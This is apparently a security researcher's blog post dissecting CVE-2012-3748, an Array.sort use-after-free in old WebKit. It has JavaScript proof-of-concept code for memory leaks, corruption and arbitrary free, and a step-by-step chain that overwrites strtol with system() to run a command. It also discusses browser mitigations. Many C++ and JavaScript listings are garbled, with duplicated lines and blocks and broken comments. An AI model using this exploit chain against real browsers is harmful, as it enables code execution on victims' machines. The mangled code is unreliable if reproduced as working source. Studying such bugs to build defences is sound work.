Overview
This post explores an old but wonderful vulnerability that enables us to really showcase the (oft underestimated) power of the use-after-free vulnerability class.
We’re going to take a step back and consider the wider class of “use-after-invalidation”, of which use-after-free is one type of use of invalidated state. We will see one single area of vulnerable code that has it all: use-after-invalidation leading to out of bounds reads and writes; use-after-free leading to object aliasing; use-after-free leading to information leakage and more. It’s hard to imagine a better real vulnerability exists for the study of this area.
We’ll dive into all the different side effects a use-after-free can have, and -- of course!! -- get to the stage of working and highly reliable exploits.
Introducing CVE-2012-3748
CVE-2012-3748 has a very storied history. It originally acquired public fame when used in Mobile Pwn2Own to pwn an iPhone 4S (Sep 2012), getting assigned ZDI-13-009. The eventual Apple advisory is here (Feb 2013).
A public exploit may be found here on Packet Storm (Sep 2013). It’s worth noting that the author is Vitaliy Toropov, a hacker who later found infamy when he was outed as a supplier to Hacking Team. (The Hacking Team Flash bug was similar: memory corruption resulting from unexpected state changes in a script callback.)
And as one commentator notes on a thread discussing a port of this vulnerability to the PlayStation 4, “That one WebKit bug is the gift that keeps on giving” (Oct 2014).
In general, everyone ships an out of date WebKit and Linux distributions are no different. So it wasn’t really a surprise to me to look at an old but still supported Linux distribution, Ubuntu 12.04 LTS, and find the same vulnerability present. To explore this vulnerability, I’m using 32-bit and 64-bit versions of fully patched Ubuntu 12.04 LTS, and the WebKit backend for the Konqueror browser.
[Note: since starting to write this post, Ubuntu 12.04 LTS has passed end of life.]
For what it’s worth, the woeful state of WebKit packaging on Linux was discussed in Feb 2016 in this blog post, which was picked up by Linux Weekly News.
The vulnerability
The vulnerability is a range of issues leading to memory corruption in the C++ code backing the Array.sort() JavaScript API. The manifestation of the vulnerability changed over its lifetime as various code changes and optimizations were made. The 2013 exploit is based on this version of the JSArray.cpp C++ file:
We won’t dwell on this one for long because this behaves differently to our Ubuntu version. But briefly:
void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
[...]
[...]
[1] unsigned usedVectorLength = min(m_storage->m_length, m_vectorLength);
[...]
[...]
[2] for (; numDefined < usedVectorLength; ++numDefined) {
JSValue v = m_storage->m_vector[numDefined].get();
if (!v || v.isUndefined())
break;
tree.abstractor().m_nodes[numDefined].value = v;
[3] tree.insert(numDefined);
}
JSValue v = m_storage->m_vector[numDefined].get();
if (!v || v.isUndefined())
break;
tree.abstractor().m_nodes[numDefined].value = v;
[3] tree.insert(numDefined);
}
[...]
for (unsigned i = 0; i < numDefined; ++i) {
[4] m_storage->m_vector[i].set(globalData, this,
[4] m_storage->m_vector[i].set(globalData, this,
tree.abstractor().m_nodes[*iter].value);
++iter;
}
++iter;
}
For the purposes of discussion, let’s assume that we have a JavaScript Array of length 2, containing the values 0, 0. At [1] above, the used Array size is 2. At [2], the loop will iterate twice, locating the two defined values and eventually leaving the loop with numDefined being set to 2. [3] is where the problems occur: inserting into the sort tree causes a callback into JavaScript and this callback can mess with the Array that we’re currently sorting. If our callback specifically calls Array.shift(), we’ll get some fireworks. Shifting the Array essentially removes the first element and internally this is accomplished by bumping the m_storage pointer along one element (8 bytes), and reducing the size by one. At [4], the code still believes the Array has length two, so will iterate twice and write two sorted values. However, the write will start at an m_storage pointer that was bumped along by one element. This is an out-of-bounds write, aka. buffer overflow! You might wonder if it’s possible to just make the array smaller via more conventional means such as Array.pop(), and achieve similar results. As it happens, the code is very reluctant to reallocate the backing store to a smaller size so the Array.shift() exploitation path is the only obvious one.
Anyway, we are targeting the vulnerability as it exists in Konqueror in our Ubuntu install. Konqueror is the KDE web browser and its WebKit backend uses QtWebKit, specifically version 2.2.1, which appears to be close to JSArray.cpp@r88503. Let’s have a look at that:
void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)
[...]
[...]
[1] ArrayStorage* storage = m_storage;
[...]
unsigned usedVectorLength = min(storage->m_length, m_vectorLength);
unsigned nodeCount = usedVectorLength + (storage->m_sparseValueMap ?
[...]
unsigned usedVectorLength = min(storage->m_length, m_vectorLength);
unsigned nodeCount = usedVectorLength + (storage->m_sparseValueMap ?
storage->m_sparseValueMap->size() : 0);
[...]
[2] tree.abstractor().m_nodes.grow(nodeCount);
[2] tree.abstractor().m_nodes.grow(nodeCount);
[...]
unsigned numDefined = 0;
unsigned numUndefined = 0;
[...]
for (; numDefined < usedVectorLength; ++numDefined) {
[3] JSValue v = storage->m_vector[numDefined].get();
if (!v || v.isUndefined())
break;
tree.abstractor().m_nodes[numDefined].value = v;
[4] tree.insert(numDefined);
}
unsigned numUndefined = 0;
[...]
for (; numDefined < usedVectorLength; ++numDefined) {
[3] JSValue v = storage->m_vector[numDefined].get();
if (!v || v.isUndefined())
break;
tree.abstractor().m_nodes[numDefined].value = v;
[4] tree.insert(numDefined);
}
[...]
unsigned newUsedVectorLength = numDefined + numUndefined;
[5] if (SparseArrayValueMap* map = storage->m_sparseValueMap) {
newUsedVectorLength += map->size();
if (newUsedVectorLength > m_vectorLength) {
// Check that it is possible to allocate an array large enough to
[5] if (SparseArrayValueMap* map = storage->m_sparseValueMap) {
newUsedVectorLength += map->size();
if (newUsedVectorLength > m_vectorLength) {
// Check that it is possible to allocate an array large enough to
hold all the entries.
if ((newUsedVectorLength > MAX_STORAGE_VECTOR_LENGTH) ||
if ((newUsedVectorLength > MAX_STORAGE_VECTOR_LENGTH) ||
!increaseVectorLength(newUsedVectorLength)) {
throwOutOfMemoryError(exec);
return;
}
}
[6] storage = m_storage;
[7] SparseArrayValueMap::iterator end = map->end();
for (SparseArrayValueMap::iterator it = map->begin(); it != end; ++it) {
[8] tree.abstractor().m_nodes[numDefined].value = it->second.get();
[9] tree.insert(numDefined);
++numDefined;
}
[10] delete map;
[11] storage->m_sparseValueMap = 0;
}
throwOutOfMemoryError(exec);
return;
}
}
[6] storage = m_storage;
[7] SparseArrayValueMap::iterator end = map->end();
for (SparseArrayValueMap::iterator it = map->begin(); it != end; ++it) {
[8] tree.abstractor().m_nodes[numDefined].value = it->second.get();
[9] tree.insert(numDefined);
++numDefined;
}
[10] delete map;
[11] storage->m_sparseValueMap = 0;
}
[...]
for (unsigned i = 0; i < numDefined; ++i) {
[12] storage->m_vector[i].set(globalData, this,
[12] storage->m_vector[i].set(globalData, this,
tree.abstractor().m_nodes[*iter].value);
++iter;
}
++iter;
}
[...]
[13] storage->m_numValuesInVector = newUsedVectorLength;
There’s a lot going on here, but in an attempt to make sense of the possibilities, there is a color code:
- Yellow for places where the code caches some value or decision that could be invalidated in a JavaScript callback.
- Orange for places where a JavaScript callback can occur.
- Red for places where the results of invalidated values or decisions can cause corruptions.
Most of the problems occur because the storage pointer is cached as a stack local variable at [1], but the memory allocation for the actual Array storage can get moved during the JavaScript sort callback at [4] and [9], if for example the Array is shifted or expanded. Direct fallout is at [3], [5], [11], [12], [13] with a significant secondary fallout at [10] that we’ll cover later.
Another problem occurs because the length of the sort node allocation at [2] can become invalid, with buffer overflow resulting at [8] if the attacker does things in the right order. This is an interesting use-after-invalidation leading to out-of-bounds write. This post will concentrate on the use-after-free opportunities but still, it’s interesting to see a single vulnerable area lead to side a wide range of side effects and different vulnerability classes.
The final problem of note occurs because the end iterator of a map is taken at [7] but the map itself could be changed (have keys added or removed) in the callback at [9], which may invalidate any existing iterators.
Invalidation options and allocator considerations
To continue exploring the effects of these vulnerabilities, and how they might lead to exploitation, we need to understand our exact invalidation options and also how the allocator affects matters.
By invalidation options, we’re talking about what exactly to do inside the JavaScript callback to change the state of the Array mid-sort. Here is what we can do:
- Add more elements to the dense end of a dense Array. A dense Array is one which has high density of elements, which includes any Array where all of the elements are set in sequence from index 0. By adding more elements to the end of a dense Array, it will need to expand its internal storage, which results in a reallocation. This reallocation can invalidate the storage pointer in the code above.
- Remove elements from the end of a dense Array. You might assume that shrinking a dense array would also cause a reallocation, down to a smaller size. Strangely, I was not able to see a code path that achieves this. This implies that either I missed something, or that the code is wasteful when an Array grows large and is then shrunk back down. At any rate, this avenue is not explored.
- Add more sparse elements to an Array. An Array stores sparse elements when it believes the Array is not dense, or when a wildly high Array index is used. Adding sparse elements to an Array can cause the reallocation of the HashMap buffer that maps sparse keys to element values.
- Shift or unshift an Array. Shifting or unshifting an Array is where new elements are chopped off or added to the front of the Array. The implementation of this is interesting. Because the underlying data structure is an array, as opposed to a linked list or double ended queue, adding or removing elements from the front involves copying all the existing elements around. Or does it? There’s actually a little optimization trick used where the C++ header object is copied around instead of the elements! This is shown pictorially and explored below.
The allocator used has a bearing on how the various invalidations above behave. Looking in JSArray.cpp, we see the Array storage is allocated like this (example from one of the constructors):
m_storage = static_cast(fastMalloc(storageSize(initialCapacity)));
fastMalloc is in fact WTF::fastMalloc() which is itself based on a built-in copy of the tcmalloc allocator. tcmalloc is a strictly bucketing allocator for smaller sizes, with last-in, first-out semantics for a given bucket size. The consequences of this include:
- The use of fastMalloc() is explicit in the code base. Any allocations not explicitly using this API will use the system allocator. So when we are targeting objects types for buffer overflow or use-after-free overlap, we’ll need to stick to object types that are explicitly using fastMalloc().
- If we want to exploit a use-after-free, we have good reliable opportunities. If the freed object is e.g. 128 bytes in size, then the next 128 byte allocation will be placed in the freed slot.
Let’s look at some specific JavaScript proof of concept code for some of the problems:
Situation #1: invalidated size leading to out-of-bounds write
This is an interesting situation, but not one we’ll use for any of our exploits, so let’s get it out of the way:
var myCompFunc = function(x,y)
{
if (!sort_iters) {
alert("sorting: " + x + " and " + y);
for (i = 0; i < 256; ++i) {
a1[0x80000000 + i] = i;
}
}
sort_iters++;
return 0;
}
sort_iters = 0;
a1 = [1,2];
a1.sort(myCompFunc);
{
if (!sort_iters) {
alert("sorting: " + x + " and " + y);
for (i = 0; i < 256; ++i) {
a1[0x80000000 + i] = i;
}
}
sort_iters++;
return 0;
}
sort_iters = 0;
a1 = [1,2];
a1.sort(myCompFunc);
This code starts with a dense Array, a1, of length 2. This will result in a Vector buffer allocation of size 2 at point [2] in the C++ code. As the element values 1 and 2 are compared in the first sort iteration, the JavaScript callback adds lots of elements to the Array that will go into the sparse map because the indexes are very large. Later, at point [8] in the C++ code, the sparse map will be iterated and all of the elements will be added to the Vector buffer allocated earlier. But, the sparse map contains 256 elements and the Vector buffer is only 2 elements large. The Vector buffer contains some slop space due to a default minimum capacity of 16, but 256 elements is enough to fill the slop space and smash some adjacent allocation. On 64-bit, the eventual crash looks like:
#0 WebCore::RenderBoxModelObject::paintBoxShadow()
cmp 0x18(%rbx),%ebp
$rbx==0x7fffffff7fffffff
Since this is a linear buffer overflow, heap spraying would be needed to place an interesting chunk in the area of corruption. Heap spraying is usually probabilistic instead of deterministic, so is disfavored for highly reliable exploits. We’ll see below how use-after-invalidation vulnerabilities can offer significantly greater reliability.
Situation #2: invalidated shifted read pointer leading to information leak
var myCompFunc = function(x,y)
{
if (x) {
dv.setFloat64(0, x, true);
alert('leaked: 0x' + dv.getUint32(0, true).toString(16));
}
if (y) {
dv.setFloat64(0, y, true);
alert('leaked: 0x' + dv.getUint32(0, true).toString(16));
}
if (!sort_iters) {
a1.splice(0, 4);
}
sort_iters++;
return 0;
}
dv = new DataView(new ArrayBuffer(8));
sort_iters = 0;
a1 = [0,0,0,0,0];
a1.sort(myCompFunc);
{
if (x) {
dv.setFloat64(0, x, true);
alert('leaked: 0x' + dv.getUint32(0, true).toString(16));
}
if (y) {
dv.setFloat64(0, y, true);
alert('leaked: 0x' + dv.getUint32(0, true).toString(16));
}
if (!sort_iters) {
a1.splice(0, 4);
}
sort_iters++;
return 0;
}
dv = new DataView(new ArrayBuffer(8));
sort_iters = 0;
a1 = [0,0,0,0,0];
a1.sort(myCompFunc);
If you run this in 32-bit Konqueror, it’ll output something like: “leaked: 0xad9955c0”. If you run it in 64-bit Konqueror, it will crash. We’ll get to that later as it complicates our 64-bit exploit. To focus on why this works on 32-bit, let’s use a diagram:
In the above diagram, we see how the exact same single fastMalloc() chunk will look before and after the Array.splice operation. The same allocation, contains both a C++ object header (24 bytes on 32-bit) as well as the actual variable length of Array elements, which are all 8 bytes each in order to accommodate a double floating point value if necessary. The C++ object header, a JSC::ArrayStorage, is colored yellow. Element storage is colored green. The object member labelled ptr is actually JSC::ArrayStorage::m_allocBase, a pointer to the beginning of the fastMalloc() chunk, and it is this useful value that we leak.
The leak occurs because the chunk of memory to iterate for the sort, shown in orange above, is fixed at the beginning of the sort. However, the splice operation is called in the middle of the sort, in the JavaScript sort callback, when elements 0 and 1 are being compared. The splice shifts the C++ object header along into the predetermined (and now invalid!) iteration range. When elements 2, 3 are read, the reads actually read the values of the JSC::ArrayStorage object. These values will be treated as doubles but luckily the DataView JavaScript class can convert a double into raw bytes for extraction of the pointer.
This is an exceptionally reliable primitive -- likely deterministic, because no allocator churn is involved. This is more of a use-after-invalidation than a use-after-free because nothing is actually freed. No out-of-bounds access relative to a heap chunk occurs either.
Finally, we should note that this primitive isn’t just a use-after-invalidation read, it’s also a use-after-invalidation write because if the sort changes the ordering of the elements, the JSC::ArrayStorage object will be corrupted. There are a large number of possibilities here that remain unexplored.
Situation #3: invalidated write pointer leading to use-after-free write
buf = null;
var myCompFunc = function(x,y)
{
a1[2] = 0x41;
buf = new ArrayBuffer(56);
return 0;
}
a1 = [1,2];
a1[0] = a1;
a1[1] = a1;
a1.sort(myCompFunc);
u32buf = new Uint32Array(buf);
alert(u32buf[1]);
alert(u32buf[12].toString(16));
alert(u32buf[13].toString(16));
var myCompFunc = function(x,y)
{
a1[2] = 0x41;
buf = new ArrayBuffer(56);
return 0;
}
a1 = [1,2];
a1[0] = a1;
a1[1] = a1;
a1.sort(myCompFunc);
u32buf = new Uint32Array(buf);
alert(u32buf[1]);
alert(u32buf[12].toString(16));
alert(u32buf[13].toString(16));
If we run this on 64-bit, our alerts will come out something like: 2; 9c04c290; 7fbd.
The situation we cause here is simple but powerful. First, a dense 2 element Array is created. This is a 40 byte header plus 2x 8 byte elements on 64-bit, for a total of a a 56 byte allocation. During the sort JavaScript callback, the Array is expanded such that it no longer fits inside the 56 byte allocation. A new allocation is made, the current contents are copied, and the old allocation is freed. The vulnerability is that the storage pointer cached at [1] in the C++ code becomes invalid and using it at [12] and [13] is a use-after-free write.
What will the use-after-free trample over? Because of the bucketing and LIFO nature of the allocator, the attacker gets to choose the object that occupies the recently freed slot simply by causing an allocation of the same size. In the JavaScript above, we just allocate a 56 byte ArrayBuffer backing buffer. As luck would have it, ArrayBuffer backing buffers are also allocated with fastMalloc() so we’re set. The use-after-free tramples over our nice pristine zero filled buffer. The number of elements in the sorted Array is written, which is the value 2 as seen in the alerts. The Array elements are also written, which we have chosen to be JavaScript objects in this case. That gives us another useful information leak, telling us where in virtual memory any JavaScript object resides.
As in most of these situations, there remain many unexplored avenues in the tree of possibilities:
- The use-after-free isn’t just a write primitive. It can also be a read primitive. By allocating any object in the freed slot, the in-progress sort will start reading elements from there instead. This makes for a fairly arbitrary information leak.
- The use-after-free write was only used here to corrupt an object which is “harmless” to corrupt, i.e. there will be no side effects from corrupting an ArrayBuffer buffer other than leaking information. We could instead explore the side effects accessible from corrupting any other 56 byte (or arbitrary size) object. As an example of a concrete question we could ask: what is the side effect of corrupting each and every possible 56 byte fastMalloc() allocated object, such that the 4 bytes at offset 4 are set to the value “2” (or any other small integer)?
Situation #4: invalidated pointer to map leading to use-after-free read leading to arbitrary free
var myCompFunc = function(x,y)
{
a1[2] = 0x41;
buf = new ArrayBuffer(56);
u32buf = new Uint32Array(buf);
u32buf[2] = 0x41414141;
return 0;
}
a1 = [1,2];
a1.sort(myCompFunc);
On 64-bit, this leads to:
Program received signal SIGSEGV
JSC::JSArray::sort (...)
mov 0x10(%rax),%edx
$rax = 0x41414141
As you will appreciate, that’s pretty serious looking. And such a simple JavaScript file. What happened? This is in fact a pretty similar use-after-free to situation #3. It starts off identically, object sizes and all. However, instead of creating and leaving a zero filled ArrayBuffer buffer in the freed slot, we set a few of the zeros to the byte value 0x41, at offset 8. Offset 8 corresponds to the object member JSC::ArrayStorage::m_sparseValueMap. This member is loaded through a stale storage pointer at [5] in the C++ code. This is a use-after-free read with bad pointer dereference as the immediate side effect. The crash occurred trying to load map->size(), with map being a nonsense pointer value of 0x41414141. If we had used a valid pointer value instead, we’d maybe iterate over some map keys and then call delete on whatever the valid pointer was, at [10]. The ability to free arbitrary pointers is pretty powerful and could lead to tertiary side effects such as use-after-free like situations of more arbitrary object types.
The reliability of this attack is very high. It’s almost deterministic because the allocator behavior for handing out memory chunks is deterministic, and the attacker controls the exact order of allocations and frees from JavaScript. However, for completeness, we should note that we haven’t fully analyzed the situation with regards threading and timers. These are questions we would need to answer if trying to make a truly 100% reliable exploit:
- What happens if a timer fires right in between the free and the allocation for the use-after-free? Are there situations where running JavaScript can get pre-empted in this critical spot? What is the process, threading and pre-emption model when multiple different tabs, windows and websites are running in the same browser?
- What about threads? Although the allocator has a per-thread cache, what if the free happens to release the last object held in a page range, and another thread triggers page reclaim right at this inopportune time?
Proceeding with exploitation: 64-bit
Now that we’ve enumerated various different use-after-invalidation possibilities, it’s time to consider chaining some of them together to try and get a reliable exploit working. We will start with 64-bit just because.
The number of different side effects we have to play with, as partially enumerated above, is large and possibly even a little overwhelming. If we consider secondary and tertiary etc. side effects that are possible, we’re into a blossoming tree of weird machine explorations! As always, though, one key to reliable exploitation is to try and keep things as simple as possible. So we’re going to try and rewire objects to get to a stage where we can cleanly read and write arbitrary locations in the virtual address space. The typical way of doing this is to gain control of a Uint8Array object or Uint32Array, etc.
After a bit of consideration, we’re going to do this by:
- Using our information leak primitive to learn where a buffer of a given size is.
- Use our arbitrary free primitive on that buffer of the given size.
- Immediately allocate a new object of the given size, to go into the freed slot.
- If necessary, repeat 2 and 3 one more time, to locate two arbitrary types of object at the same address.
- Now, we have a nice aliasing situation where live pointers exist to two different object types.
By chaining together the primitives we already have, we’ve gained a new powerful primitive: arbitrary object aliasing!
But before we can get all excited and use this primitive, we need to resolve an important issue: going back to primitive #2 above, the ability to leak the address of an ArrayStorage object, we see that it crashed on 64-bits :( Why is this? The answer is in the way JavaScriptCore internally represents JavaScript values. They are 8 byte values on both 32-bit and 64-bit, and can variously represent JavaScript numbers (doubles), boolean values, undefined values, null values and also arbitrary JavaScript objects. The way these different types are encoded differs between 32-bit and 64-bit, hence the difference in behavior. Of interest is when an 8 byte value is considered a JavaScript object -- termed a cell -- instead of a simple type like a number. Extracted and summarized from JSValueInlineMethods.h:
#if USE(JSVALUE32_64)
// (This is the 32 bits case)
inline bool JSValue::isCell() const
{
return tag() == CellTag;
}
#else
{
return tag() == CellTag;
}
#else
// (This is the 64 bits case)
inline bool JSValue::isCell() const
{
return !(u.asInt64 & TagMask);
}
{
return !(u.asInt64 & TagMask);
}
Where tag() returns the latter 4 bytes of the value, CellTag==0xfffffffb and TagMask==0xffff000000000002. Decoding all of this, the format of a cell pointer on 32-bit will be the actual 32-bit cell pointer followed by 0xfffffffb. On 64-bit, it will simply be the actual raw pointer itself (the tag mask selects for x86_64 style 48-bit pointers, with a partial alignment constraint). Aha! So this means that on 64-bit, as we’re trying to use and leak our real pointer to the ArrayStorage object, it will get interpreted as a JavaScript cell pointer and obviously that is not going to end well. On 32-bit, any pointer value we want to leak will work fine unless it is followed in memory by the 4 byte value 0xfffffffb. Looking at the full ArrayStorage structure:
struct ArrayStorage {
unsigned m_length; // The "length" property on the array
unsigned m_numValuesInVector;
SparseArrayValueMap* m_sparseValueMap;
void* subclassData; // A JSArray subclass can use this to fill the vector
unsigned m_length; // The "length" property on the array
unsigned m_numValuesInVector;
SparseArrayValueMap* m_sparseValueMap;
void* subclassData; // A JSArray subclass can use this to fill the vector
lazily.
void* m_allocBase; // Pointer to base address returned by malloc().
void* m_allocBase; // Pointer to base address returned by malloc().
Keeping this pointer does eliminate false positives
from the leak detector.
size_t reportedMapCapacity;
size_t reportedMapCapacity;
[...]
The pointer we leak is m_allocBase, and it is 8-byte aligned and followed by the reportedMapCapacity member, which is unlikely to ever set to 0xfffffffb, even if we tried. So for 32-bit, we will always treat the leaked pointer as the first 4 bytes of a double value, which can be cleanly converted to raw bytes, best I know. Although, interested readers should read Natalie Silvanovich’s Project Zero post where she had trials and tribulations with floating pointer SNaN quirks.
But on 64-bit, we really want to leak a real pointer value. It’s a headache that attempting the leak creates a JavaScript reference that causes a crash when used. In order to solve this issue, we can actually resort to combining situation #2 and situation #3 above. The full sequence is:
- Create an Array and sort it.
- On the first sort JavaScript callback, splice the Array so that the sort iteration will treat the ArrayStorage header fields as elements within the Array to sort.
- Under no circumstances use either of the JavaScript references passed to the sort callback, because the references based on the raw pointers in the ArrayStorage header will explode if touched in any way.
- On the final sort JavaScript callback, expand the Array, causing a reallocation and then use the resulting use-after-free to write the sorted Array elements into a freshly allocated ArrayBuffer buffer.
- The sorted elements will include the raw pointers from the ArrayStorage headers and these can now be safely read from the ArrayBuffer buffer that was written to on account of the use-after-free.
Ok. Now that we’ve fixed our information leak primitive on 64-bit, our object aliasing primitive that depends on it will now work. Let’s describe the full exploitation sequence:
- Alias a 112 byte ArrayBuffer buffer with a 112 byte WebCore::ScriptRunner object (which is allocated in the fastMalloc() heap when you create a new document from JavaScript).
- Read a timer related function pointer value from the WebCore::ScriptRunner. This gives us the address of everything in libQtWebKit.so.
- Alias a 2088 byte ArrayBuffer buffer with a 2088 byte ArrayStorage with 256 elements.
- Writing through the ArrayBuffer buffer, set element[0] to be an object pointer. Point it at element[1] in the Array, which is a memory scratch space we will use to fake a JSUint8Array object.
- Fake the JSUint8Array object. To be functional, we need to fill in bytes 0-7 (with the vtable for JSUint8Array), and bytes 48-55 (with a pointer to the Uint8Array object). Point this latter pointer to element[8] in the Array, which is a memory scratch space we will use to fake a Uint8Array object.
- Fake the Uint8Array object. To be functional, we need to fill in bytes 16-23 to point to the buffer storage we want. We point this to the libQtWebKit.so BSS section. And we need to set bytes 40-43 to the desired buffer length. We max it out at 0xffffffff.
- Now we can access array[0] as a Uint8Array that will read and write relative to the libQtWebKit.so BSS!
- Read the strtol() function pointer out of the BSS. From that, calculate the system() function pointer since both are in libc.so. Write back system() on top of strtol().
- Call new Date(‘xcalc;’) and profit… or at least, calculate. The C++ implementation of the JavaScript Date constructor calls strtol() on the string argument, hence the sound of popping calcs.
Obligatory screenshot:
You can download the exploit file here: arrsort_exploit_fake_uint8.html
Proceeding with exploitation: 32-bit
Surprise! Bonus! The very same exploit file actually works on 32-bit. The code acts a bit differently to use different object sizes, object field offsets and deltas. But the steps taken are the same for both the 64-bit and 32-bit cases.
Here’s a different working, reliable 32-bit exploit that I wrote earlier: arrsort_exploit_32bit_alt.html
There are some similarities but It takes a different path and also achieves reliable code execution. This is perhaps a testament to the quality of the vulnerability. Briefly, this alternate exploit works like this:
- Use a simpler way to leak the pointer values from the ArrayStorage header, by directly reading double values in the sort callback. These double values are converted to raw bytes using the JavaScript DataView object.
- Use the aliasing primitive previously described to alias a Uint8Array buffer with an ArrayStorage object.
- Add some spare keys to the aliased ArrayStorage object, causing the allocation of the m_sparseValueMap pointer, pointing to a 20 byte HashMap object.
- Read the m_sparseValueMap pointer and use the previously described freeing primitive to free it.
- Allocate a 24 byte Uint32Array backing buffer. The 24 byte backing buffer goes in the hole we just freed.
- Free the same address again, freeing the Uint32Array backing buffer.
- Allocate another 4 byte Uint32Array. The 24 byte Uint32Array metadata object will go into the hole we just freed.
- We have now aliased a Uint32Array backing buffer with a Uint32Array metadata object. Proceeding from here is simple because we can read the Uint32Array vtable and also change the backing buffer pointer and length to read / write arbitrary memory.
The main quirk here enabling this alternate and slightly simpler exploit on 32-bit is the observation that on 32-bit, sizeof(WTF::HashMap) == 20 and sizeof(WebCore::Uint32Array) == 24. Due to the 8 byte granularity of small fastMalloc() buckets, these two different objects occupy the same heap bucket size of 24.
Browser defenses
The astute reader will note that any use-after-free in WebKit might be subject to the same exploitation technique in JavaScript: allocate a Uint32Array backing buffer into the freed hole and then enjoy a wide variety of side effects. This is definitely a concern! And it also illustrates the power and possibilities of the use-after-free vulnerability class. Using this technique, the attacker gets to choose arbitrary bytes for every field in the object that is being used after free. The attacker can pick an arbitrary vtable (call-after-use-after-free), arbitrary flags / arbitrary length (read-after-use-after-free), fake arbitrary object pointers (call or read or write-after-use-after-free), etc. If the code paths available to the attacker include write-after-use-after-free, the attacker might well be able to access information leaks, or perform precision corruption of other similarly sized object types.
Perhaps this primitive is too powerful to leave unmitigated? It is. So, some time ago, I broke this primitive in Google Chrome, by placing ArrayBuffer backing buffers into their own heap partition. This should ensure that when a use-after-free vulnerability triggers, it is not possible to place an ArrayBuffer backing buffer into the freed hole. There are other object types that might offer similar attacker control of content (strings, etc.) and various related changes also applied partitioning to these and other objects. The goal is that with the partitioning present in Google Chrome, the attacker has less control over the aliased bytes used by code after a use-after-free condition.
It might also be tempting to declare war on allocator determinism. After all, it makes things simple if the most recently freed chunk is the first to be handed out. And indeed there are various schemes popping up to reduce freelist determinism, such as freelist randomization in the Linux kernel. I’m not actually a fan of these schemes for most exploitation contexts. If the attacker is running some form of “script”, such as JavaScript in a browser, or a user space program on Linux, they can just allocate multiple objects to achieve the same desired effect.
Conclusions
I think that use-after-invalidation and use-after-free are wonderful and maybe underappreciated vulnerability classes. Perhaps after reading this post, you concur? We selected a suitably interesting and powerful vulnerability and demonstrated a large range of reliable, controllable and powerful side effects.